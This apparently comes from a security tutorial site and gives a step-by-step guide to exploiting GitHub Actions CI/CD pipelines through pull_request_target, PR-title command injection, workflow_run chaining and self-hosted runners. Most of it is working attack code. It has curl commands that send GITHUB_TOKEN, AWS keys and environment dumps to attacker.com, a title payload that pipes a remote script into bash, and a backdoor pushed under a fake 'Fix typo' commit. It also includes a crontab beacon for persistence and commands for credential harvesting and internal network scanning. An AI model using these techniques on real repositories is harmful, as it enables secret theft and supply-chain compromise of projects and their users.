🔥 Advanced

GitHub Actions Exploitation

GitHub Actions is a prime target for supply chain attacks. Misconfigurations can leak secrets, enable code execution, and provide persistence in CI/CD pipelines.

Dangerous Event Triggers

Trigger Risk Level Why It's Dangerous
pull_request_target 🔴 CRITICAL Runs with base repo secrets + attacker-controlled code
workflow_run 🟠 HIGH Can be triggered by untrusted workflows
issue_comment 🟡 MEDIUM Any user can trigger with comments
pull_request 🟢 LOW No secrets for forked PRs (safe default)

pull_request_target Exploit

The Most Dangerous Misconfiguration

pull_request_target runs with full repo secrets even on forked PRs. If combined with actions/checkout of PR code, it's immediate RCE + secret theft.
bash
# STEP 1: Find vulnerable workflow pattern
# Look for this in .github/workflows/*.yml:
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # 💀 VULNERABLE

# STEP 2: Fork the repo and create malicious PR
# Modify any script that gets executed:
# build.sh:
#!/bin/bash
curl -X POST -d "token=${{ secrets.GITHUB_TOKEN }}" https://attacker.com/steal
curl -X POST -d "aws=$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" https://attacker.com/steal
env | curl -X POST -d @- https://attacker.com/env

# STEP 3: Create PR - secrets exfiltrated on CI run

Command Injection Vectors

User-controlled inputs that flow into run: commands are injectable:

Injectable Contexts

  • • github.event.pull_request.title
  • • github.event.pull_request.body
  • • github.event.issue.title
  • • github.event.issue.body
  • • github.event.comment.body
  • • github.head_ref (branch name)

Safe Contexts

  • • github.repository
  • • github.repository_owner
  • • github.actor (mostly)
  • • github.sha
  • • github.run_id
bash
# VULNERABLE WORKFLOW:
- run: echo "Building: ${{ github.event.pull_request.title }}"

# PAYLOAD: Create PR with title:
a]"; curl https://attacker.com/shell.sh | bash; echo "

# Or use backticks in the title:
# $(curl attacker.com/x.sh|bash)

# RESULT: Your shell script executes with CI permissions

GITHUB_TOKEN Abuse

The auto-generated GITHUB_TOKEN has powerful permissions by default:

bash
# Default GITHUB_TOKEN permissions (if not restricted):
# - contents: write (push code!)
# - pull-requests: write
# - issues: write
# - packages: write

# Exfiltrate the token
- run: |
    curl -X POST -H "Content-Type: application/json" \
      -d '{"token":"'${{ secrets.GITHUB_TOKEN }}'"}' \
      https://attacker.com/collect

# Use stolen token to push backdoor:
git clone https://x-access-token:${GITHUB_TOKEN}@github.com/target/repo.git
cd repo
echo "curl attacker.com/beacon|bash" >> scripts/build.sh
git add . && git commit -m "Fix typo"
git push origin main

workflow_run Exploitation

Indirect Attack

workflow_run triggers after another workflow completes. If the triggering workflow is attackable (e.g., runs on PRs), the downstream workflow inherits the attack.
bash
# Target has two workflows:

# 1. untrusted-trigger.yml (runs on PRs - limited permissions)
on: pull_request
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - run: npm test

# 2. deploy.yml (runs after untrusted workflow - HAS SECRETS!)
on:
  workflow_run:
    workflows: ["Build"]
    types: [completed]
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.workflow_run.head_sha }}  # 💀 Checks out PR code!
      - run: ./deploy.sh  # Attacker controls this file
        env:
          DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}  # Exfiltrated!

Self-Hosted Runner Attacks

Self-hosted runners are goldmines - they persist between jobs and often have network access to internal systems.

bash
# If org allows forked PRs to run on self-hosted runners... game over

# 1. Persistence (survives between jobs)
echo '* * * * * curl attacker.com/beacon.sh | bash' | crontab -

# 2. Credential harvesting
# AWS credentials often available
cat ~/.aws/credentials
env | grep -i aws
env | grep -i azure
cat ~/.docker/config.json

# 3. Internal network pivot
# Runners often on internal network
nmap -sn 10.0.0.0/8 192.168.0.0/16 172.16.0.0/12
curl http://169.254.169.254/latest/meta-data/  # AWS metadata

# 4. Previous job artifacts
find /home/runner -name "*.env" -o -name "*.pem" -o -name "*.key"
cat /home/runner/work/_temp/*.sh  # Workflow scripts

# 5. Source code from other repos
ls -la /home/runner/work/

Enumeration & Recon

bash
# Find all workflow files in a repo
find . -path ".github/workflows/*.yml" -o -path ".github/workflows/*.yaml"

# Search for dangerous patterns with grep
grep -r "pull_request_target" .github/workflows/
grep -r "github.event.pull_request.title" .github/workflows/
grep -r "github.event.issue.body" .github/workflows/
grep -r "workflow_run" .github/workflows/
grep -r "runs-on: self-hosted" .github/workflows/

# Check workflow permissions
grep -A5 "permissions:" .github/workflows/*.yml

# GitHub API - list workflows
curl -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO/actions/workflows

# Get workflow runs (check for secrets in logs)
curl -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/OWNER/REPO/actions/runs

Tools